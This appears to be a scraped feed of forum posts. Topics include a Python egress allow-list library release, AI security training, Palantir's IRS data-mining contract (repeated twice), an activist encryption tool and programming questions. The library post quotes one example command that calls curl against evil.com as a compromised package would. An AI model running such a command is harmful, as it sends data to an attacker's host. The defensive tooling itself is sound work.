Your code reviews never see it.&lt;/p&gt; &lt;p&gt;In LiteLLM’s case, the malicious payload used Python startup execution and subprocesses as part of its staging and credential-collection flow, then exfiltrated secrets over HTTPS to attacker-controlled infrastructure. That is exactly where many Python-level defenses become thin: they protect the current interpreter, but not the child processes your code or dependencies can spawn.&lt;/p&gt; &lt;p&gt;Today I released 🪁 &lt;strong&gt;tethered 0.5.0,&lt;/strong&gt; the release that closes that gap at the Python layer: a runtime egress allow-list in one function call, now extending to Python subprocesses and giving parent-side control over external launches.&lt;/p&gt; &lt;p&gt;With tethered, it takes just one function call to restrict which hosts your code can connect to:&lt;/p&gt; &lt;p&gt;&lt;a href="https://preview.redd.it/x72wtz8g9zxg1.png?width=1180&amp;amp;format=png&amp;amp;auto=webp&amp;amp;s=905c133d41798f7ef40a58718efa284eccd2d7f1"&gt;tethered&lt;/a&gt;&lt;/p&gt; &lt;p&gt;With tethered enabled before third-party imports, ordinary Python egress from every dependency in your process - including the one that gets hijacked “next week” - is constrained to your allow list.&lt;/p&gt; &lt;p&gt;&lt;code&gt;subprocess.run([&amp;quot;curl&amp;quot;, &amp;quot;https://evil.com&amp;quot;])&lt;/code&gt; from a compromised package? With &lt;code&gt;external_subprocess_policy=&amp;quot;block&amp;quot;&lt;/code&gt;, refused before it launches. Spawning a Python child to bypass the policy? Children auto-inherit your settings.&lt;/p&gt; &lt;p&gt;🚀 New in v0.5.0:&lt;/p&gt; &lt;p&gt;→ &lt;strong&gt;Subprocess auto-propagation&lt;/strong&gt;. Python child processes - multiprocessing pools, ProcessPoolExecutor, gunicorn workers, and subprocess launches of the current Python interpreter - automatically inherit the parent&amp;#39;s egress policy. A compromised dep can’t escape merely by spawning another Python process.&lt;/p&gt; &lt;p&gt;→ &lt;strong&gt;external_subprocess_policy&lt;/strong&gt;. Parent-side control over non-Python launches: warn (default), allow, or block. Set &lt;code&gt;&amp;quot;block&amp;quot;&lt;/code&gt; and a hijacked package can&amp;#39;t shell out to curl, bash, or anything else.&lt;/p&gt; &lt;p&gt;→ &lt;strong&gt;Scope-aware propagation&lt;/strong&gt;. When you wrap a call site in &lt;code&gt;tethered.scope(allow=[...])&lt;/code&gt;, Python subprocess launches from inside that scope inherit the narrowed policy at the launch site - useful for libraries doing self-defense without an app-level &lt;code&gt;activate()&lt;/code&gt;.&lt;/p&gt; &lt;p&gt;→ Locked-mode hardening of the new auto-propagation channel via a C-extension guardian.&lt;/p&gt; &lt;p&gt;Zero runtime dependencies.

People started joining contributing and giving great feedback. Some even told me they learned a lot from the project. It slowly picked up stars and momentum.&lt;/p&gt; &lt;p&gt;Then out of nowhere boom, Bots and lots of them.&lt;/p&gt; &lt;p&gt;I started getting waves of low quality PRs and comments, clearly AI generated.&lt;/p&gt; &lt;p&gt;PRs that are full of nonsense like stupid commends or completely miss the point.&lt;/p&gt; &lt;p&gt;To deal with this, I tried a couple of things:&lt;/p&gt; &lt;ul&gt; &lt;li&gt;Added a clear note in the README: AI generated contributions without human review will be closed automatically&lt;/li&gt; &lt;li&gt;Created an md file with strict guidelines on how code should be written in the project&lt;/li&gt; &lt;/ul&gt; &lt;p&gt;Both helped a lot. The amount of spammy PRs dropped, and even AI assisted contributions became more structured and easier to review.&lt;/p&gt; &lt;p&gt;Today the project has:&lt;/p&gt; &lt;ul&gt; &lt;li&gt;~100 stars&lt;/li&gt; &lt;li&gt;~90 contributors&lt;/li&gt; &lt;/ul&gt; &lt;p&gt;More importantly, it’s actually fun to maintain, and I keep learning from it every day.&lt;/p&gt; &lt;p&gt;If you’re curious, I added a link to the project in the post, its totally open source and free to use.&lt;/p&gt; &lt;/div&gt;&lt;!-- SC_ON --&gt; &amp;#32; submitted by &amp;#32; &lt;a href="https://old.reddit.com/user/Medical_Distance6635"&gt; /u/Medical_Distance6635 &lt;/a&gt; &lt;br/&gt; &lt;span&gt;&lt;a href="https://github.com/Deadlink-Hunter/Broken-Link-Website"&gt;[link]&lt;/a&gt;&lt;/span&gt; &amp;#32; &lt;span&gt;&lt;a href="https://old.reddit.com/r/foss/comments/1sxyu3s/growing_my_open_source_project_to_90_contributors/"&gt;[comments]&lt;/a&gt;&lt;/span&gt; &lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;</content>

    <content type="html">&lt;!-- SC_OFF --&gt;&lt;div class="md"&gt;&lt;p&gt;Hey r/opensource &lt;/p&gt; &lt;p&gt;I&amp;#39;m a cybersec engineer with an L&amp;amp;D background. Got tired of boring security awareness courses and teamed up with a builder tool to deliver a free interactive SAT for AI era.&lt;/p&gt; &lt;p&gt;AI agents, LLMs, and autonomous tools are being adopted faster than the security practices meant to govern them. While threats like phishing are well-understood, the AI wave has introduced attack vectors that most people have never encountered -- prompt injection, RAG exploitation, and more. The problem isn&amp;#39;t awareness alone. Most security training is passive: slide decks and videos that people click through and forget.&lt;/p&gt; &lt;p&gt;This library takes a different approach. Every exercise drops you into an interactive 3D office environment where you face realistic scenarios in first-person. You interact with real objects -- a phone, a PC running a live OS (browser, terminal, Zoom), a flipchart -- and make decisions under pressure, just like you would at your desk.&lt;/p&gt; &lt;p&gt;Free to use personally, professionally, or in commercial workshops. The only restriction is reselling or redistributing the content as a standalone product. So if you&amp;#39;re running an in-person training -- this library can be a great addition to your learning materials. Sharing the materials free of charge is encouraged!&lt;/p&gt; &lt;p&gt;What&amp;#39;s included:&lt;/p&gt; &lt;p&gt;Scenarios include things like:&lt;/p&gt; &lt;ul&gt; &lt;li&gt;Identifying hidden prompt injection instructions in uploaded documents&lt;/li&gt; &lt;li&gt;Spotting sensitive data categories that should never enter AI prompts&lt;/li&gt; &lt;li&gt;Evaluating third-party AI plugins for supply chain risks before deployment And more!&lt;/li&gt; &lt;/ul&gt; &lt;p&gt;...and more!&lt;/p&gt; &lt;p&gt;Two ways to use it:&lt;/p&gt; &lt;p&gt;Web view -- run exercises directly in a browser, ideal for workshops or sharing with students and colleagues.&lt;/p&gt; &lt;p&gt;GitHub repo -- every exercise is packaged as a SCORM .zip, ready to import into any LMS, embed into an existing training pipeline, or test on SCORM Cloud before rollout. Note: SCORM files make API calls to the server for pre-rendered scene files and iframes. If that&amp;#39;s a blocker for you or you need a security assessment -- create an issue &lt;/p&gt; &lt;p&gt;The repo root contains full course packages. Other .zip files in the &amp;quot;Individual exercises&amp;quot; folder contain standalone exercises if you want to build a custom curriculum.&lt;/p&gt; &lt;p&gt;&lt;a href="https://github.com/ransomleak/training-owasp"&gt;https://github.com/ransomleak/training-owasp&lt;/a&gt;&lt;/p&gt; &lt;p&gt;Happy to answer questions or take your thoughts on the exercises!&lt;/p&gt; &lt;p&gt;P.S: will appreciate your stars 😄 &lt;/p&gt; &lt;/div&gt;&lt;!-- SC_ON --&gt; &amp;#32; submitted by &amp;#32; &lt;a href="https://old.reddit.com/user/anthonyDavidson31"&gt; /u/anthonyDavidson31 &lt;/a&gt; &lt;br/&gt; &lt;span&gt;&lt;a href="https://old.reddit.com/r/opensource/comments/1sxx7wn/free_interactive_ai_security_training_library/"&gt;[link]&lt;/a&gt;&lt;/span&gt; &amp;#32; &lt;span&gt;&lt;a href="https://old.reddit.com/r/opensource/comments/1sxx7wn/free_interactive_ai_security_training_library/"&gt;[comments]&lt;/a&gt;&lt;/span&gt;</content>

&lt;blockquote&gt;
&lt;p&gt;Im looking for a simple foss mood tracker app for android. I looked around but non of the once I found on f-droid or otherwise, had one feature that I would really like.&lt;/p&gt;
&lt;p&gt;I would like to be asked 3 times a day (morning, noon, evening) for my mood with push reminders and answer on a simple scale. Maybe 1-5 or 3 arrows (up, middle, down).&lt;/p&gt;
&lt;p&gt;Does any one have a suggestion?&lt;/p&gt;
&lt;/blockquote&gt;

    <title>Palantir Is Helping Trump’s IRS Conduct “Massive-Scale” Data Mining</title>
    <link rel="alternate" href="https://programming.dev/post/49503980" type="text/html"/>
    <content type="text">submitted by &lt;a href="https://suppo.fi/u/cm0002"&gt;cm0002&lt;/a&gt; to &lt;a href="https://programming.dev/c/privacy"&gt;privacy&lt;/a&gt;&lt;br&gt;127 points | &lt;a href="https://programming.dev/post/49503980"&gt;13 comments&lt;/a&gt;&lt;br&gt;&lt;a href="https://theintercept.com/2026/04/24/palantir-irs-contract-data/"&gt;https://theintercept.com/2026/04/24/palantir-irs-contract-data/&lt;/a&gt;&lt;blockquote&gt;
&lt;p&gt;military contractor Palantir is helping the IRS analyze dozens of different data sets on Americans to investigate a broad range of financial crimes, according to records shared with The Intercept.&lt;/p&gt;
&lt;p&gt;Since 2018, the Internal Revenue Service’s Criminal Investigation division has used Palantir’s Lead and Case Analytics platform to aggregate and analyze a sprawling list of sensitive federal databases and data sets.&lt;/p&gt;
&lt;p&gt;Public records detailing Palantir’s IRS contract, obtained by the nonprofit watchdog group American Oversight and shared exclusively with The Intercept, reveal the immense volume of data plugged into the military contractor’s software. The LCA uses both Palantir’s Gotham and Foundry applications to facilitate “analysis of massive-scale data to find the needle in the hay stack,” the contract paperwork says.&lt;/p&gt;
&lt;p&gt;Documents indicate the IRS has paid Palantir over $130 million for these services to date.&lt;/p&gt;
&lt;p&gt;Palantir’s LCA is ostensibly directed toward cracking down on fraud, money laundering, and other financial crimes. &lt;a href="https://www.irs.gov/pub/irs-pia/lca-pia.pdf" rel="nofollow"&gt;According&lt;/a&gt; to a 2024 agency privacy impact assessment, IRS “Special agents and investigative analysts … utilize the platform to find, analyze, and visualize connections between disparate sets of data to generate leads, identify schemes, uncover tax fraud, and conduct money laundering and forfeiture investigative activities.”&lt;/p&gt;
&lt;p&gt;[&lt;img src="https://suppo.fi/api/v3/image_proxy?url=https%3A%2F%2Flemmy.ml%2Fapi%2Fv3%2Fimage_proxy%3Furl%3Dhttps%253A%252F%252Ftheintercept.com%252Fwp-content%252Fuploads%252F2026%252F03%252FGettyImages-2206357087-e1773769842660.jpg%253Fw%253D440%2526h%253D440%2526crop%253D1" alt="" /&gt;&lt;/p&gt;

&lt;h3&gt;Trump Wants to Put You in a Massive, Secret Government Database](&lt;a href="https://theintercept.com/2026/03/17/government-surveillance-centralized-database-privacy/"&gt;theintercept.com/…/government-surveillance-centra…&lt;/a&gt;)&lt;/h3&gt;
&lt;p&gt;The IRS use of the software, launched under Trump’s first term and expanded under Biden, is now in the hands of an IRS Criminal Investigations office that has drastically scaled back its pursuit of tax cheats and pivoted, under Trump’s direction, toward investigating “left-leaning groups,” the Wall Street Journal &lt;a href="https://www.wsj.com/politics/policy/trump-irs-investigations-left-leaning-groups-democratic-donors-612a095e?mod=hp_lead_pos1" rel="nofollow"&gt;reported&lt;/a&gt; in October.&lt;/p&gt;
&lt;p&gt;“The real concern is the consolidation of vast amounts of sensitive personal data into a single system with minimal transparency — especially one built and operated by a contractor like Palantir, whose business model is premised on integrating data and expanding surveillance capabilities,” American Oversight director Chioma Chukwu said in a statement to The Intercept. “Its platforms have been used in deeply troubling contexts, from immigration enforcement to predictive policing, with persistent concerns about overreach, bias, and weak oversight.”&lt;/p&gt;
&lt;p&gt;Palantir did not respond to a request for comment, nor did the IRS.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;“The real concern is the consolidation of vast amounts of sensitive personal data into a single system with minimal transparency — especially one built and operated by a contractor like Palantir.”&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;The contract documents reviewed by The Intercept reveal that these “disparate sets of data” are vast. Palantir’s LCA allows the IRS to quickly search and visualize “connections from millions of records with thousands of links” between databases maintained by the IRS and other federal agencies. According to the contract documents, this data includes individual tax form and tax returns as well as Affordable Care Act data, bank statements, and transactions, and “all available” data compiled by the Treasury Department’s Financial Crimes Enforcement Network.&lt;/p&gt;
&lt;p&gt;Its view apparently extends to cryptocurrencies including bitcoin, Ethereum, Litecoin, and Ripple. “The application would sit on top of a singular repository of identified wallets from seized servers utilizing dark web data obtained from exchangers such as Coinbase,” the documents note.&lt;/p&gt;
&lt;p&gt;The program places an emphasis on mapping social relationships between the targets of an investigation. That includes analyzing a “network of people and the relationships and communications between them,” such as “calls, texts, [and] emails events.” The use of “IP address analysis” within LCA allows the IRS to “Identify suspects more easily” and “Establish (new) relationships among actors.”&lt;/p&gt;
&lt;p&gt;These investigative functions are continuously updated, the materials say, through ongoing close work between Palantir engineers and IRS personnel.&lt;/p&gt;
&lt;p&gt;[&lt;img src="https://suppo.fi/api/v3/image_proxy?url=https%3A%2F%2Flemmy.ml%2Fapi%2Fv3%2Fimage_proxy%3Furl%3Dhttps%253A%252F%252Ftheintercept.com%252Fwp-content%252Fuploads%252F2026%252F03%252FAP26081335616870-e1774368393210.jpg%253Fw%253D440%2526h%253D440%2526crop%253D1" alt="" /&gt;&lt;/p&gt;

&lt;p&gt;The intermingling of sensitive data on millions of Americans comes at a time of increased global skepticism and opposition toward Palantir, which, despite its military-intelligence origins, has a thriving business with civilian agencies like the IRS. The use of Palantir software at the U.K.’s National Health Service, for example, has created an ongoing political &lt;a href="https://www.theguardian.com/technology/2026/apr/21/palantir-manifesto-uk-contract-fears-mps" rel="nofollow"&gt;controversy&lt;/a&gt; across Britain, while a &lt;a href="https://theintercept.com/2026/02/15/palantir-contract-new-york-city-health-hospitals/" rel="nofollow"&gt;similar contract&lt;/a&gt; with the New York City public hospital network was &lt;a href="https://theintercept.com/2026/03/24/palantir-new-york-city-hospitals-contract/" rel="nofollow"&gt;recently canceled&lt;/a&gt; following public protest.&lt;/p&gt;
&lt;p&gt;The contract is also active at a time when IRS Criminal Investigations has been coopted to aid in the broader Trump administration’s aggressive agenda. In July, ProPublica &lt;a href="https://www.propublica.org/article/trump-irs-share-tax-records-ice-dhs-deportations" rel="nofollow"&gt;reported&lt;/a&gt; that the agency was working with U.S. Immigration and Customs Enforcement to provide “on demand” data to accelerate deportations. Last year, the New York Times &lt;a href="https://www.nytimes.com/2025/05/30/technology/trump-palantir-data-americans.html" rel="nofollow"&gt;reported&lt;/a&gt; that Palantir, founded by Trump ally Peter Thiel, was central to an administration effort to increase data-sharing across federal agencies.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;“The question isn’t just what it can do — it’s who it will be used against.”&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;The company’s right-wing politics and eagerness to facilitate U.S. and &lt;a href="https://www.palantir.com/assets/xrfr7uokpv1b/3MuEeA8MLbLDAyxixTsiIe/9e4a11a7fb058554a8a1e3cd83e31c09/C134184_finaleprint.pdf" rel="nofollow"&gt;Israeli military aggression abroad&lt;/a&gt;, NSA global &lt;a href="https://theintercept.com/2017/02/22/how-peter-thiels-palantir-helped-the-nsa-spy-on-the-whole-world/" rel="nofollow"&gt;surveillance&lt;/a&gt;, and ICE &lt;a href="https://www.404media.co/ice-just-paid-palantir-tens-of-millions-for-complete-target-analysis-of-known-populations" rel="nofollow"&gt;deportations&lt;/a&gt; has also made many weary of its access to incredibly sensitive personal data. A recent post on the company’s Palantir’s X account &lt;a href="https://x.com/PalantirTech/status/2045574398573453312" rel="nofollow"&gt;summarizing&lt;/a&gt; a book by CEO Alex Karp triggered an immediate backlash from those unnerved by the manifesto’s fascistic bent. The bullet points extolled the virtue of arms manufacturing, argued the Axis powers were unfairly punished after World War II, called for a reinstatement of the draft, condemned cultural pluralism, and claimed that wealthy elites are unfairly persecuted.&lt;/p&gt;
&lt;p&gt;“When the government can map relationships, track behavior, and generate investigative leads across data sets at this scale, the question isn’t just what it can do — it’s who it will be used against,” Chukwu said. “Entrusting that infrastructure to a company known for opaque, security-state deployments only heightens those risks.”&lt;/p&gt;

          <content type="html"><![CDATA[<p lang="vi" dir="ltr">Hi,</p>
<p lang="en" dir="ltr">I have developed a program that ciphers data. Target audiences are groups of non-tech savvy activists, not able or not willing to use programs such as Kleopatra or Veracrypt, that need to protect highly sensitive data that needs to be accessed after an unknown amount of time (could be weeks or months, i.e. only in case of emergency). An example are antirepressive files in case of arrest, that provide the arrestee's colleagues with instructions on the arrestee's needs (medication, pets to take care of, lawyer to contact etc.). In this example, threat actors are primarily authoritarian governments.</p>
<p lang="en" dir="ltr">The program consists of a serverless HTML file intended to be used in Tails in the Tor Browser, and it offers a symmetric and an asymmetric cipher mode, and an asymmetric cipher mode that includes Shamir's secret sharing for the decipher key.</p>
<p lang="en" dir="ltr">It also has some extra features such as the option to export and import data from/to QR codes, and set default text fields (among other). The collective asymmetric cipher mode (the one with Shamir's secret sharing), as you can see in the docs, is made to target the threat vector of police infiltrators or collaborators.</p>
<p lang="en" dir="ltr">I have detailed the cryptographic processes as diagrams and other info in the repo:</p>
<p lang="en" dir="ltr"><a rel="noopener noreferrer ugc" href="https://0xacab.org/gilare/cinf/-/blob/no-masters/docs/asymmetric-collective.md">https://0xacab.org/gilare/cinf/-/blob/no-masters/docs/asymmetric-collective.md</a></p>
<p lang="en" dir="ltr"><a rel="noopener noreferrer ugc" href="https://0xacab.org/gilare/cinf/-/blob/no-masters/docs/asymmetric.md">https://0xacab.org/gilare/cinf/-/blob/no-masters/docs/asymmetric.md</a></p>
<p lang="en" dir="ltr"><a rel="noopener noreferrer ugc" href="https://0xacab.org/gilare/cinf/-/blob/no-masters/docs/symmetric.md">https://0xacab.org/gilare/cinf/-/blob/no-masters/docs/symmetric.md</a></p>
<p lang="en" dir="ltr">The program is meant to be used collectively: e.g. a group of activists manage their files through a single key pair.</p>
<p lang="en" dir="ltr">It would be awesome if somebody could take a look and provide feedback, last thing I want to do is provide insecure software to my friends and other activists. This is not the first review iteration, but I just want to be completely sure before I mark my software as production ready.</p>
<p lang="en" dir="ltr">If you know somebody that has the needed knowledge to review this I would greatly appreciate it if you could ask them to take a look &lt;3</p>

&lt;h3&gt;Trump Wants to Put You in a Massive, Secret Government Database](&lt;a href="https://theintercept.com/2026/03/17/government-surveillance-centralized-database-privacy/"&gt;theintercept.com/…/government-surveillance-centra…&lt;/a&gt;)&lt;/h3&gt;
&lt;p&gt;The IRS use of the software, launched under Trump’s first term and expanded under Biden, is now in the hands of an IRS Criminal Investigations office that has drastically scaled back its pursuit of tax cheats and pivoted, under Trump’s direction, toward investigating “left-leaning groups,” the Wall Street Journal &lt;a href="https://www.wsj.com/politics/policy/trump-irs-investigations-left-leaning-groups-democratic-donors-612a095e?mod=hp_lead_pos1" rel="nofollow"&gt;reported&lt;/a&gt; in October.&lt;/p&gt;
&lt;p&gt;“The real concern is the consolidation of vast amounts of sensitive personal data into a single system with minimal transparency — especially one built and operated by a contractor like Palantir, whose business model is premised on integrating data and expanding surveillance capabilities,” American Oversight director Chioma Chukwu said in a statement to The Intercept. “Its platforms have been used in deeply troubling contexts, from immigration enforcement to predictive policing, with persistent concerns about overreach, bias, and weak oversight.”&lt;/p&gt;
&lt;p&gt;Palantir did not respond to a request for comment, nor did the IRS.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;“The real concern is the consolidation of vast amounts of sensitive personal data into a single system with minimal transparency — especially one built and operated by a contractor like Palantir.”&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;The contract documents reviewed by The Intercept reveal that these “disparate sets of data” are vast. Palantir’s LCA allows the IRS to quickly search and visualize “connections from millions of records with thousands of links” between databases maintained by the IRS and other federal agencies. According to the contract documents, this data includes individual tax form and tax returns as well as Affordable Care Act data, bank statements, and transactions, and “all available” data compiled by the Treasury Department’s Financial Crimes Enforcement Network.&lt;/p&gt;
&lt;p&gt;Its view apparently extends to cryptocurrencies including bitcoin, Ethereum, Litecoin, and Ripple. “The application would sit on top of a singular repository of identified wallets from seized servers utilizing dark web data obtained from exchangers such as Coinbase,” the documents note.&lt;/p&gt;
&lt;p&gt;The program places an emphasis on mapping social relationships between the targets of an investigation. That includes analyzing a “network of people and the relationships and communications between them,” such as “calls, texts, [and] emails events.” The use of “IP address analysis” within LCA allows the IRS to “Identify suspects more easily” and “Establish (new) relationships among actors.”&lt;/p&gt;
&lt;p&gt;These investigative functions are continuously updated, the materials say, through ongoing close work between Palantir engineers and IRS personnel.&lt;/p&gt;
&lt;p&gt;[&lt;img src="https://lemmy.ml/api/v3/image_proxy?url=https%3A%2F%2Ftheintercept.com%2Fwp-content%2Fuploads%2F2026%2F03%2FAP26081335616870-e1774368393210.jpg%3Fw%3D440%26h%3D440%26crop%3D1" alt="" /&gt;&lt;/p&gt;

&lt;p&gt;The intermingling of sensitive data on millions of Americans comes at a time of increased global skepticism and opposition toward Palantir, which, despite its military-intelligence origins, has a thriving business with civilian agencies like the IRS. The use of Palantir software at the U.K.’s National Health Service, for example, has created an ongoing political &lt;a href="https://www.theguardian.com/technology/2026/apr/21/palantir-manifesto-uk-contract-fears-mps" rel="nofollow"&gt;controversy&lt;/a&gt; across Britain, while a &lt;a href="https://theintercept.com/2026/02/15/palantir-contract-new-york-city-health-hospitals/" rel="nofollow"&gt;similar contract&lt;/a&gt; with the New York City public hospital network was &lt;a href="https://theintercept.com/2026/03/24/palantir-new-york-city-hospitals-contract/" rel="nofollow"&gt;recently canceled&lt;/a&gt; following public protest.&lt;/p&gt;
&lt;p&gt;The contract is also active at a time when IRS Criminal Investigations has been coopted to aid in the broader Trump administration’s aggressive agenda. In July, ProPublica &lt;a href="https://www.propublica.org/article/trump-irs-share-tax-records-ice-dhs-deportations" rel="nofollow"&gt;reported&lt;/a&gt; that the agency was working with U.S. Immigration and Customs Enforcement to provide “on demand” data to accelerate deportations. Last year, the New York Times &lt;a href="https://www.nytimes.com/2025/05/30/technology/trump-palantir-data-americans.html" rel="nofollow"&gt;reported&lt;/a&gt; that Palantir, founded by Trump ally Peter Thiel, was central to an administration effort to increase data-sharing across federal agencies.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;“The question isn’t just what it can do — it’s who it will be used against.”&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;The company’s right-wing politics and eagerness to facilitate U.S. and &lt;a href="https://www.palantir.com/assets/xrfr7uokpv1b/3MuEeA8MLbLDAyxixTsiIe/9e4a11a7fb058554a8a1e3cd83e31c09/C134184_finaleprint.pdf" rel="nofollow"&gt;Israeli military aggression abroad&lt;/a&gt;, NSA global &lt;a href="https://theintercept.com/2017/02/22/how-peter-thiels-palantir-helped-the-nsa-spy-on-the-whole-world/" rel="nofollow"&gt;surveillance&lt;/a&gt;, and ICE &lt;a href="https://www.404media.co/ice-just-paid-palantir-tens-of-millions-for-complete-target-analysis-of-known-populations" rel="nofollow"&gt;deportations&lt;/a&gt; has also made many weary of its access to incredibly sensitive personal data. A recent post on the company’s Palantir’s X account &lt;a href="https://x.com/PalantirTech/status/2045574398573453312" rel="nofollow"&gt;summarizing&lt;/a&gt; a book by CEO Alex Karp triggered an immediate backlash from those unnerved by the manifesto’s fascistic bent. The bullet points extolled the virtue of arms manufacturing, argued the Axis powers were unfairly punished after World War II, called for a reinstatement of the draft, condemned cultural pluralism, and claimed that wealthy elites are unfairly persecuted.&lt;/p&gt;
&lt;p&gt;“When the government can map relationships, track behavior, and generate investigative leads across data sets at this scale, the question isn’t just what it can do — it’s who it will be used against,” Chukwu said. “Entrusting that infrastructure to a company known for opaque, security-state deployments only heightens those risks.”&lt;/p&gt;
&lt;p&gt;The post &lt;a href="https://theintercept.com/2026/04/24/palantir-irs-contract-data/" rel="nofollow"&gt;Palantir Is Helping Trump’s IRS Conduct “Massive-Scale” Data Mining&lt;/a&gt; appeared first on &lt;a href="https://theintercept.com/" rel="nofollow"&gt;The Intercept&lt;/a&gt;.&lt;/p&gt;

    <title>Advice needed: my workplace has put Flock cameras at all entrances</title>
    <link rel="alternate" href="https://lemmy.world/post/46144719" type="text/html"/>
    <content type="text">submitted by &lt;a href="https://lemmy.dbzer0.com/u/west2seven"&gt;west2seven&lt;/a&gt; to &lt;a href="https://lemmy.world/c/privacy"&gt;privacy&lt;/a&gt;&lt;br&gt;135 points | &lt;a href="https://lemmy.world/post/46144719"&gt;63 comments&lt;/a&gt;&lt;p&gt;Hello, the title sums it up pretty much but here’s some details. I live in the US and I have been working for a pretty big company for a few years. I noticed recently that they have put up Flock cameras at all entrances and I really object to it. I would consider a new job but three main factors are really preventing me from doing that. First, I like many of my coworkers and it makes my day easier. Second, I get paid well enough. Third, the job is nearby and its an easy commute. Essentially all the things I want in a job.&lt;/p&gt;
&lt;p&gt;What I have done so far:
I have contacted my union rep. The response from the union was essentially indifference to the idea. They claim Flock simply sends the data to our normal security team. They did mention that it was discussed recently otherwise. Last note, I work for a place where &lt;strong&gt;vandalism would not be possible&lt;/strong&gt; due to the nature of the facility.&lt;/p&gt;
&lt;p&gt;I’m not really sure what else to do but I didn’t want to do nothing. What would you do?&lt;/p&gt;

    <title>Let's talk CLI/TUI and Developer Workflows!</title>
    <link rel="alternate" href="https://programming.dev/post/49499162" type="text/html"/>
    <content type="text">submitted by &lt;a href="https://allovertheplace.ca/users/RareBird15"&gt;RareBird15&lt;/a&gt; to &lt;a href="https://programming.dev/c/programming"&gt;programming&lt;/a&gt;&lt;br&gt;60 points | &lt;a href="https://programming.dev/post/49499162"&gt;33 comments&lt;/a&gt;&lt;h1&gt;Let’s talk CLI/TUI and Developer Workflows!&lt;/h1&gt;
&lt;p&gt;I’m looking to refresh my local toolkit and I’m curious: what are the absolute “must-have” CLI or TUI programs in your current rotation?&lt;/p&gt;
&lt;p&gt;Whether it’s a specialized utility for a specific language, a terminal-based interface for a common service, or a workflow-changing alias, I want to hear about it. I’m especially interested in tools that prioritize keyboard-driven navigation and accessibility.&lt;/p&gt;
&lt;h2&gt;My Current Favorites:&lt;/h2&gt;
&lt;p&gt;To get the ball rolling, here are a few tools I’ve been leaning on lately:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;uv&lt;/strong&gt; — Fast, reliable Python package and project management.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;fzf &amp;amp; ripgrep&lt;/strong&gt; — The classic duo for fuzzy finding and searching.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;tmux&lt;/strong&gt; — For session management and persistent terminal workspaces.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;jq / yq&lt;/strong&gt; — Essential for wrangling JSON and YAML without leaving the prompt.&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;What about you?&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;What is one tool you’ve discovered recently that you can’t live without?&lt;/li&gt;
&lt;li&gt;Are there any TUI-based clients for web services (like Mastodon, GitHub, or RSS) that you recommend?&lt;/li&gt;
&lt;li&gt;Do you have a favorite “hidden gem” script or small utility?&lt;/li&gt;
&lt;/ol&gt;
&lt;h2&gt;Mentions &amp;amp; Groups&lt;/h2&gt;

    <title>does anyone have exercises to learn how to program?</title>
    <link rel="alternate" href="https://programming.dev/post/49495800" type="text/html"/>
    <content type="text">submitted by &lt;a href="https://lemmy.world/u/Zero1534"&gt;Zero1534&lt;/a&gt; to &lt;a href="https://programming.dev/c/programming"&gt;programming&lt;/a&gt;&lt;br&gt;37 points | &lt;a href="https://programming.dev/post/49495800"&gt;22 comments&lt;/a&gt;&lt;p&gt;hi, I’m trying to learn to program on C and C++. My goal is to get to do applications for a phone with symbian that I have to make it more useful. I already have an idea what I want to do. Mainly make a browser for smolnet protocols (nex, gopher, Spartan, finger, etc.) and more in the future make some social network customers open code. The easiest I think it would be to make a mastodon client, especially because mastodon already works on my nokia with symbian, thanks to brutaldon (although I feel that it lacks functionalities that I would like to have, like to see what is inside the instance and see at the level of fedverse). and perhaps others like “lemmy,” “social gnu,” “friendica,” and already finally and my “Magnus opus” would definitely be, a client of “invidious”.&lt;/p&gt;
&lt;p&gt;of course all this is far beyond my current possibilities. But that’s why I want to step up. For the moment I base it on the syntax on c and c++ and I already understand the operators, and also the comparisons and the Boolean operations. I also partially understand the pointers… but I really don’t know what kind of use they have. so that the applications you create, you can test them in my system with linux, I need to program everything in c, and use c++ but only in a basic way the latter, as symbian only supports old versions of c++ posix, (it’s true that if I install qt supports more modern versions and it would be much easier to do anything. But I have been recommended not to use it) I have also been a little interested in zig and nim, as they compile C and theoretically should be languages that could work perfectly, but on the other hand, also increase the number of languages to learn may not be the best idea at the moment.&lt;/p&gt;
&lt;p&gt;for the subject of graphics, I think the best option is to use sdl, there is a port of sdl 1.2, the problem is that in my language there are practically no sdl 1.2 tutorials, and in English I have found little. This is the best thing I could find “&lt;a href="https://lazyfoo.net/SDL_tutorials/"&gt;lazyfoo.net/SDL_tutorials/&lt;/a&gt;” is not that this evil (in fact I have not yet tried it) but well, I would also like to know, that so much changes the syntax against sdl 2, I just want to do simple things, buttons, menus, text boxes and already, I ask this to see if I can make the work easier and just see tutorials in my language and not eat so much my head asking anyone to translate me all by one.&lt;/p&gt;
&lt;p&gt;i initially thought about using sdl interface library to make life easier. But I quickly realized the problem that most of these library are designed for the use of mice, something that in my nokia n95 because of course there is no… microui was the library that had convinced me most, plus that it not only depends on sdl, it can also use opengl, and a friend explained to me that maybe and even could serve with the native interface library of symbian. I’m sure he’ll save it for future projects. But for things like his little documentation and it’s not even spoken in my language, and I thought of everything, less intuitive. Because it makes me leave it at least for the moment, I also saw others like raygui, but that would be my turn to make a bridge, and while I can do this with vibeconding and so… well, the truth is I’d like to be able to understand my own code… I don’t rule it out completely… But having to adapt so many things, the truth is I think it’s more cost-effective just to use pure sdl and stop making life difficult.&lt;/p&gt;
&lt;p&gt;There is also the option to use an old version of opengl en. But I think that’s a little bit of killing fly-to-gun, total, I just need a 2d, minimalist interface and little more… I don’t know if there are any other library that allow me to do graphic interfaces, and that being written in pure C can be carried automatically, without modifications, I understand that there may be a remote possibility that lvgl will work, but… I don’t think it’s worth it.&lt;/p&gt;
&lt;p&gt;So, well… this is all to ask for recommendations and programming exercises on c, c++ and sdl.&lt;/p&gt;

    <title>A tiny terminal Pomodoro timer I made for myself in Python</title>
